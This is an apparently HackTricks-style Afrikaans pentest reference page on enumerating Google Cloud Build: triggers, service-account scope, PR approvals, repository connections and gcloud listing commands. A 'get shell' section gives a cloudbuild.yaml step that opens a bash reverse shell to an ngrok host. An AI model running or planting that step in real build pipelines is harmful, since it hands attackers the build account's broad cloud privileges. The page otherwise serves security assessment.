# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

Google Cloud Build is 'n bestuurde CI/CD-platform wat **outomatiseer sagteware bou** en vrystelling proses, wat integreer met **bron kode repositories** en 'n wye verskeidenheid programmering tale ondersteun. Dit **laat ontwikkelaars toe om kode outomaties te bou, te toets en te ontplooi** terwyl dit buigsaamheid bied om bou stappe en werkvloei aan te pas.

Elke Cloud Build Trigger is **verwant aan 'n Cloud Repository of direk gekoppel aan 'n eksterne repository** (Github, Bitbucket en Gitlab).

> [!TIP]
> Ek kon nie enige manier sien om die Github/Bitbucket token hier of van Cloud Repositories te steel nie, want wanneer die repo afgelaai word, word dit via 'n [https://source.cloud.google.com/](https://source.cloud.google.com/) URL toegang verkry en Github word nie deur die kliënt aangespreek nie.

### Gebeure

Die Cloud Build kan geaktiveer word as:

- **Push na 'n tak**: Spesifiseer die tak
- **Push 'n nuwe etiket**: Spesifiseer die etiket
- P**ull versoek**: Spesifiseer die tak wat die PR ontvang
- **Handmatige Aanroep**
- **Pub/Sub boodskap:** Spesifiseer die onderwerp
- **Webhook gebeurtenis**: Sal 'n HTTPS URL blootstel en die versoek moet met 'n geheim geverifieer word

### Uitvoering

Daar is 3 opsies:

- 'n yaml/json **wat die opdragte** spesifiseer om uit te voer. Gewoonlik: `/cloudbuild.yaml`
- Slegs een wat “inline” in die webkonsol en in die cli gespesifiseer kan word
- Meest algemene opsie
- Relevant vir ongeverifieerde toegang
- 'n **Dockerfile** om te bou
- 'n **Buildpack** om te bou

### SA Toestemmings

Die **Diensrekening het die `cloud-platform` omvang**, so dit kan **alle voorregte gebruik.** As **geen SA gespesifiseer is** (soos wanneer jy indien) sal die **standaard SA** `<proj-number>@cloudbuild.gserviceaccount.com` **gebruik word.**

Standaard word geen toestemmings gegee nie, maar dit is redelik maklik om dit te gee:

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### Goedkeuringe

Dit is moontlik om 'n Cloud Build te konfigureer om **goedkeuringe vir bou uitvoerings te vereis** (standaard gedeaktiveer).

### PR Goedkeuringe

Wanneer die trigger 'n PR is omdat **enige iemand PRs na openbare repositories kan uitvoer**, sou dit baie gevaarlik wees om net **die uitvoering van die trigger met enige PR toe te laat**. Daarom sal die uitvoering standaard slegs **outomaties wees vir eienaars en medewerkers**, en om die trigger met ander gebruikers se PRs uit te voer, moet 'n eienaar of medewerker kommentaar lewer `/gcbrun`.

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### Verbindinge & Repositories

Verbindinge kan geskep word oor:

- **GitHub:** Dit sal 'n OAuth prompt wys wat vra vir toestemmings om **'n Github token te kry** wat binne die **Secret Manager** gestoor sal word.
- **GitHub Enterprise:** Dit sal vra om 'n **GithubApp** te installeer. 'n **authentikasie token** van jou GitHub Enterprise gasheer sal geskep en in hierdie projek as 'n **Secret Manager** geheim gestoor word.
- **GitLab / Enterprise:** Jy moet die **API toegang token en die Lees API toegang token** verskaf wat in die **Secret Manager** gestoor sal word.

Sodra 'n verbinding gegenereer is, kan jy dit gebruik om **repositories te koppel waartoe die Github rekening toegang het**.

Hierdie opsie is beskikbaar deur die knoppie:

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Let daarop dat repositories wat met hierdie metode gekoppel is, **slegs beskikbaar is in Triggers wat 2de generasie gebruik.**

### Koppel 'n Repository

Dit is nie dieselfde as 'n **`verbinding`** nie. Dit laat **verskillende** maniere toe om **toegang tot 'n Github of Bitbucket** repository te kry, maar **genereer nie 'n verbindingsobjek nie, maar dit genereer 'n repository objek (van 1ste generasie).**

Hierdie opsie is beskikbaar deur die knoppie:

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### Berging

Soms sal Cloud Build **'n nuwe berging genereer om die lêers vir die trigger te stoor**. Dit gebeur byvoorbeeld in die voorbeeld wat GCP bied met:
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
'n Stoor emmer genaamd [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) word geskep om 'n `.tgz` met die lêers wat gebruik gaan word, te stoor.

### Kry shell
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
Installeer gcloud binne cloud build:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### Enumerasie

Jy kan **sensitiewe inligting in boukonfigurasies en logs** vind.
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### Privilege Escalation

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### Unauthenticated Access

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### Post Exploitation

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
